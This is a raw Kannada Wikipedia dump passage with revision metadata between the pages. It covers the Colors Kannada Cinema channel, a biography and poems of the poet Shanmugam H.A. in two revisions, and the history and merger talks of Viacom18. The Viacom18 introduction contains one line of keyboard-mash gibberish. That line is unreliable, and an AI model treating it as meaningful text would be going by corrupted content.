ಚಾನಲ್ ಅನ್ನು 24 ಸೆಪ್ಟೆಂಬರ್ 2018 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು [[ವಿಯಾಕಾಂ 18]] ನಿಂದ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನಲ್ ಆಗಿದೆ. <ref>[http://www.newindianexpress.com/business/2018/sep/11/viacom18-ups-regional-play-launches-new-channel-colors-kannada-cinema-1870444.amp Viacom18 ups regional play, launches new channel Colors Kannada Cinema]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist}}  [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡದ ಸಿನೆಮಾ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] nqqeyghmqsdcr2g5781uc3djhjr0lfu ಷಣ್ಮುಗಂ ಎಚ್.ಎ. 0 144833 1116406 1116387 2022-08-23T12:04:10Z SHANMUGAM H A 72904 wikitext text/x-wiki ಷಣ್ಮುಗಂ ಎಚ್.ಎ. ಇವರು ದಿನಾಂಕ 22 ಜೂನ್‌ 1977ರಂದು ಕರ್ನಾಟಕ ಮೈಸೂರು ಜಿಲ್ಲೆಯ ನಂಜನಗೂಡು ತಾಲ್ಲೂಕಿನ ಹೆಗ್ಗಡಹಳ್ಳಿ ಗ್ರಾಮದಲ್ಲಿ ಜನಿಸಿದರು. ಇವರ ತಂದೆ ಆರ‍್ಮುಗಂ ಹಾಗೂ ತಾಯಿ ಪಾಪಮ್ಮ. ತಂದೆತಾಯಿಯರ ಐವರು ಮಕ್ಕಳಲ್ಲಿ ಇವರು ನಾಲ್ಕನೆಯವರು. ಇವರು ʼಒಂಟಿಹೂವಿಗೆ ನೂರೆಂಟು ದುಂಬಿಗಳುʼ ಎಂಬ ಕತೆಯನ್ನು ಬರೆದಿರುವರಲ್ಲದೇ, ʼನೆನಪಾಗಿ ಸಾಗುವುದು ನಮ್ಮ ಬಾಳುʼ, ʼಗೋವರ್ಧನಗಿರಿ ನಮ್ಮ ಮನೆʼ, ʼಕೋಟಿಕುಸುಮದೊಡಲ ರೂಪ ಏಕವಾಗಿಸಿʼ, ʼನನ್ನೊಳಗಿನ ನಾನುʼ, ಮುಂತಾದ ಭಾವಗೀತೆಗಳನ್ನು ಬರೆದಿದ್ದಾರೆ. ಜಿಲ್ಲಾ ಮಟ್ಟದ ಅನೇಕ ಕವಿಗೋಷ್ಠಿಗಳು, ದಸರಾ ಕವಿಗೋಷ್ಠಿ, ದ್ರಾವಿಡ ಭಾಷಾ ಕವಿಗೋಷ್ಠಿ, ಜಲಪಾತ ಕವಿಗೋಷ್ಠಿಗಳಲ್ಲಿ ಕವಿಯಾಗಿ ಭಾಗವಹಿಸಿ ತಮ್ಮ ಸ್ವರಚಿತ ಗೀತೆಗಳನ್ನು ಹಾಡಿದ್ದಾರೆ. ನಿಸರ್ಗಕವಿಯೆಂದು ಹೆಸರುಪಡೆದ ಆಂಗ್ಲಭಾಷೆಯ ಪ್ರಸಿದ್ಧ ಕವಿ ವಿಲಿಯಂ ವರ್ಡ್ಸ್‌ವರ್ತ್‌ರ ʼಲೈನ್ಸ್‌ ರಿಟನ್‌ ಇನ್‌ ಮಾರ್ಚ್‌ʼ ಸಾನೆಟ್ಟನ್ನು ʼಚೈತ್ರದಿ ಬರೆದ ಸಾಲುಗಳುʼ ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ ಅನುವಾದಿಸಿದ್ದಾರೆ. ಅಂತೆಯೇ, ತಮಿಳಿನ ಕವಿಚಕ್ರವರ್ತಿ ವೈರಮುತ್ತು ಅವರ ʼಇದು ಪೋದುಮ್‌ ಎನಕ್ಕುʼ ಕವಿತೆಯನ್ನು ʼಇದುವೆ ಸಾಕೆನಗೆʼ ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ, ತಮಿಳು ಕವಯಿತ್ರಿ ಕನಿಮೊಳಿ ಅವರ ʼʼ ಕವಿತೆಯನ್ನು ʼʼ ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ ಕನ್ನಡಕ್ಕೆ ತಂದಿದ್ದಾರೆ. ಕವಿಮನಸ್ಸಿನ ಶ್ರೀಯುತರು ವಿವಿಧ ಪ್ರಕಾರಗಳ ಕಾವ್ಯರಚನೆಯಲ್ಲಿ ತಮ್ಮನ್ನು ತಾವು ತೊಡಗಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಕಾವ್ಯರಚನೆಯಲ್ಲಿ ಛಂದೋಬದ್ಧವಾದ ಷಟ್ಪದಿಗಳನ್ನು ರಚಿಸುವ ವಿರಳ ಸಂಖ್ಯೆಯ ಕವಿಗಳಲ್ಲಿ ಒಬ್ಬರಾದ ಇವರು ಅನೇಕ ಷಟ್ಪದಿಗಳನ್ನು ರಚಿಸಿದ್ದು, ಅವುಗಳಲ್ಲಿ ಕೆಲವನ್ನು ಇಲ್ಲಿ ನೀಡಲಾಗಿದೆ. ಶ್ರೇಷ್ಠನೇನು ಹುಟ್ಟಿನಿಂದ? ಜಾತಿಕುಲವುಧರ್ಮದಿಂದ ಆಸ್ತಿಹಣವು ದರ್ಜೆಯಿಂದ ಅಲ್ಲ ಮಾನವ!।৷ ಶ್ರೇಷ್ಠನು ನಡವಳಿಕೆಯಿಂದ ಶ್ರೇಷ್ಠನೊಳ್ಳೆ ಕೆಲಸದಿಂದ ತನಗೆ ತಾನೆ ಸಲುವುದಲ್ತೆ ದಿಟದ ಗೌರವ।৷ ****** ನಿದ್ದೆಯನ್ನು ದೂರಮಾಡಿ ಎದ್ದು ಕುಣಿದು ಆಟವಾಡಿ ಶುದ್ಧನಾಗಿ ಓದು ಬುದ್ಧಿವಂತನಾಗುವೆ...|| ಮುದ್ದುಮುದ್ದು ಮಾತನಾಡಿ ಕದ್ದುಕದ್ದು ನನ್ನ ನೋಡಿ ಸದ್ದುಮಾಡದಂತೆ ದೂರದೇಕೆ ನೋಡುವೆ?|| ****** ತಂದೆ-ತಾಯಿಯರಿಗೆ ಮುದ್ದು- ಕಂದ ನಿನ್ನ ಕೊರಳ ಸದ್ದು ಅಂದಮಾಗಿ ಮನೆಯ ಬೆಳಗುತಿರಲಿ ಬೆಳ್ಳಿಯೆ|| ಬಂದವರ್ಗೆ ಬಂಧುವಾಗಿ ನಿಂದವರ್ಗೆ ಸಿಂಧುವಾಗಿ ಗಂಧಸುಂದರಸುತ ಚಂದಿರಾಗು ಪಿಳ್ಳೆಯೆ|| ****** ಸೀದ ಚಲಿಪ ಒಲವಿನೊಳು ವಿ- ನೋದ ಗೋಚರಿಪುದೆ ಗೆಳತಿ? ಯೋಧನೆದೆಯ ಧೈರ್ಯನಿನ್ನೊಳಿರಲಿ ಸಂತತ|| ಮಾದಕವಿದದಾವ ಮಾರ್ಗ? ಹಾದಿತೋರ್ಪುದೀ ನಿಸರ್ಗ! ರಾಧೆಮಾಧವಾನುರೂಪ ನಿಮ್ಮ ಸಂಗತ|| 5adcpohkknec71n1it2slx6rt6dajnj 1116413 1116406 2022-08-23T12:08:01Z SHANMUGAM H A 72904 wikitext text/x-wiki ಷಣ್ಮುಗಂ ಎಚ್.ಎ. ಇವರು ದಿನಾಂಕ 22 ಜೂನ್‌ 1977ರಂದು ಕರ್ನಾಟಕ ಮೈಸೂರು ಜಿಲ್ಲೆಯ ನಂಜನಗೂಡು ತಾಲ್ಲೂಕಿನ ಹೆಗ್ಗಡಹಳ್ಳಿ ಗ್ರಾಮದಲ್ಲಿ ಜನಿಸಿದರು. ಇವರ ತಂದೆ ಆರ‍್ಮುಗಂ ಹಾಗೂ ತಾಯಿ ಪಾಪಮ್ಮ. ತಂದೆತಾಯಿಯರ ಐವರು ಮಕ್ಕಳಲ್ಲಿ ಇವರು ನಾಲ್ಕನೆಯವರು. ಇವರು ʼಒಂಟಿಹೂವಿಗೆ ನೂರೆಂಟು ದುಂಬಿಗಳುʼ ಎಂಬ ಕತೆಯನ್ನು ಬರೆದಿರುವರಲ್ಲದೇ, ʼನೆನಪಾಗಿ ಸಾಗುವುದು ನಮ್ಮ ಬಾಳುʼ, ʼಗೋವರ್ಧನಗಿರಿ ನಮ್ಮ ಮನೆʼ, ʼಕೋಟಿಕುಸುಮದೊಡಲ ರೂಪ ಏಕವಾಗಿಸಿʼ, ʼನನ್ನೊಳಗಿನ ನಾನುʼ, ಮುಂತಾದ ಭಾವಗೀತೆಗಳನ್ನು ಬರೆದಿದ್ದಾರೆ. ಜಿಲ್ಲಾ ಮಟ್ಟದ ಅನೇಕ ಕವಿಗೋಷ್ಠಿಗಳು, ದಸರಾ ಕವಿಗೋಷ್ಠಿ, ದ್ರಾವಿಡ ಭಾಷಾ ಕವಿಗೋಷ್ಠಿ, ಜಲಪಾತ ಕವಿಗೋಷ್ಠಿಗಳಲ್ಲಿ ಕವಿಯಾಗಿ ಭಾಗವಹಿಸಿ ತಮ್ಮ ಸ್ವರಚಿತ ಗೀತೆಗಳನ್ನು ಹಾಡಿದ್ದಾರೆ. ನಿಸರ್ಗಕವಿಯೆಂದು ಹೆಸರುಪಡೆದ ಆಂಗ್ಲಭಾಷೆಯ ಪ್ರಸಿದ್ಧ ಕವಿ ವಿಲಿಯಂ ವರ್ಡ್ಸ್‌ವರ್ತ್‌ರ ʼಲೈನ್ಸ್‌ ರಿಟನ್‌ ಇನ್‌ ಮಾರ್ಚ್‌ʼ ಸಾನೆಟ್ಟನ್ನು ʼಚೈತ್ರದಿ ಬರೆದ ಸಾಲುಗಳುʼ ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ ಅನುವಾದಿಸಿದ್ದಾರೆ. ಅಂತೆಯೇ, ತಮಿಳಿನ ಕವಿಚಕ್ರವರ್ತಿ ವೈರಮುತ್ತು ಅವರ ʼಇದು ಪೋದುಮ್‌ ಎನಕ್ಕುʼ ಕವಿತೆಯನ್ನು ʼಇದುವೆ ಸಾಕೆನಗೆʼ ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ, ತಮಿಳು ಕವಯಿತ್ರಿ ಕನಿಮೊಳಿ ಅವರ ʼಕರುವರೈ ವಾಸನೈʼ ಕವಿತೆಯನ್ನು ʼಗರ್ಭಗುಡಿಯ ಗಂಧʼ ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ ಕನ್ನಡಕ್ಕೆ ತಂದಿದ್ದಾರೆ. ಕವಿಮನಸ್ಸಿನ ಶ್ರೀಯುತರು ವಿವಿಧ ಪ್ರಕಾರಗಳ ಕಾವ್ಯರಚನೆಯಲ್ಲಿ ತಮ್ಮನ್ನು ತಾವು ತೊಡಗಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಕಾವ್ಯರಚನೆಯಲ್ಲಿ ಛಂದೋಬದ್ಧವಾದ ಷಟ್ಪದಿಗಳನ್ನು ರಚಿಸುವ ವಿರಳ ಸಂಖ್ಯೆಯ ಕವಿಗಳಲ್ಲಿ ಒಬ್ಬರಾದ ಇವರು ಅನೇಕ ಷಟ್ಪದಿಗಳನ್ನು ರಚಿಸಿದ್ದು, ಅವುಗಳಲ್ಲಿ ಕೆಲವನ್ನು ಇಲ್ಲಿ ನೀಡಲಾಗಿದೆ. ಶ್ರೇಷ್ಠನೇನು ಹುಟ್ಟಿನಿಂದ? ಜಾತಿಕುಲವುಧರ್ಮದಿಂದ ಆಸ್ತಿಹಣವು ದರ್ಜೆಯಿಂದ ಅಲ್ಲ ಮಾನವ!।৷ ಶ್ರೇಷ್ಠನು ನಡವಳಿಕೆಯಿಂದ ಶ್ರೇಷ್ಠನೊಳ್ಳೆ ಕೆಲಸದಿಂದ ತನಗೆ ತಾನೆ ಸಲುವುದಲ್ತೆ ದಿಟದ ಗೌರವ।৷ ****** ನಿದ್ದೆಯನ್ನು ದೂರಮಾಡಿ ಎದ್ದು ಕುಣಿದು ಆಟವಾಡಿ ಶುದ್ಧನಾಗಿ ಓದು ಬುದ್ಧಿವಂತನಾಗುವೆ...|| ಮುದ್ದುಮುದ್ದು ಮಾತನಾಡಿ ಕದ್ದುಕದ್ದು ನನ್ನ ನೋಡಿ ಸದ್ದುಮಾಡದಂತೆ ದೂರದೇಕೆ ನೋಡುವೆ?|| ****** ತಂದೆ-ತಾಯಿಯರಿಗೆ ಮುದ್ದು- ಕಂದ ನಿನ್ನ ಕೊರಳ ಸದ್ದು ಅಂದಮಾಗಿ ಮನೆಯ ಬೆಳಗುತಿರಲಿ ಬೆಳ್ಳಿಯೆ|| ಬಂದವರ್ಗೆ ಬಂಧುವಾಗಿ ನಿಂದವರ್ಗೆ ಸಿಂಧುವಾಗಿ ಗಂಧಸುಂದರಸುತ ಚಂದಿರಾಗು ಪಿಳ್ಳೆಯೆ|| ****** ಸೀದ ಚಲಿಪ ಒಲವಿನೊಳು ವಿ- ನೋದ ಗೋಚರಿಪುದೆ ಗೆಳತಿ? ಯೋಧನೆದೆಯ ಧೈರ್ಯನಿನ್ನೊಳಿರಲಿ ಸಂತತ|| ಮಾದಕವಿದದಾವ ಮಾರ್ಗ? ಹಾದಿತೋರ್ಪುದೀ ನಿಸರ್ಗ! ರಾಧೆಮಾಧವಾನುರೂಪ ನಿಮ್ಮ ಸಂಗತ|| at3ulh0n6uzoypsi5wur36dmmhnxhs8 ವಿಯಾಕಾಂ 18 0 144837 1116402 2022-08-23T12:01:07Z Ishqyk 76644 "[[:en:Special:Redirect/revision/1105839052|Viacom18]]" ಪುಟವನ್ನು ಅನುವಾದಿಸುವುದರಿಂದ ಸೃಷ್ಟಿಸಲಾಯಿತು wikitext text/x-wiki   '''Viacom18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ TV18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ.ejejd d d d dndd d sbsnsbs dhebebebd ejejejdnje ee w enenwnsjsdnne. Eenjee s == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, Viacom18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, Viacom18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, TV18, ETV ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ETV ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, Viacom18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ETV ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ETV ಮರಾಠಿ, ETV ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ETV ಬಾಂಗ್ಲಾ ಮತ್ತು ETV ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, TV18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ Viacom ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು Viacom ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, Viacom18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * 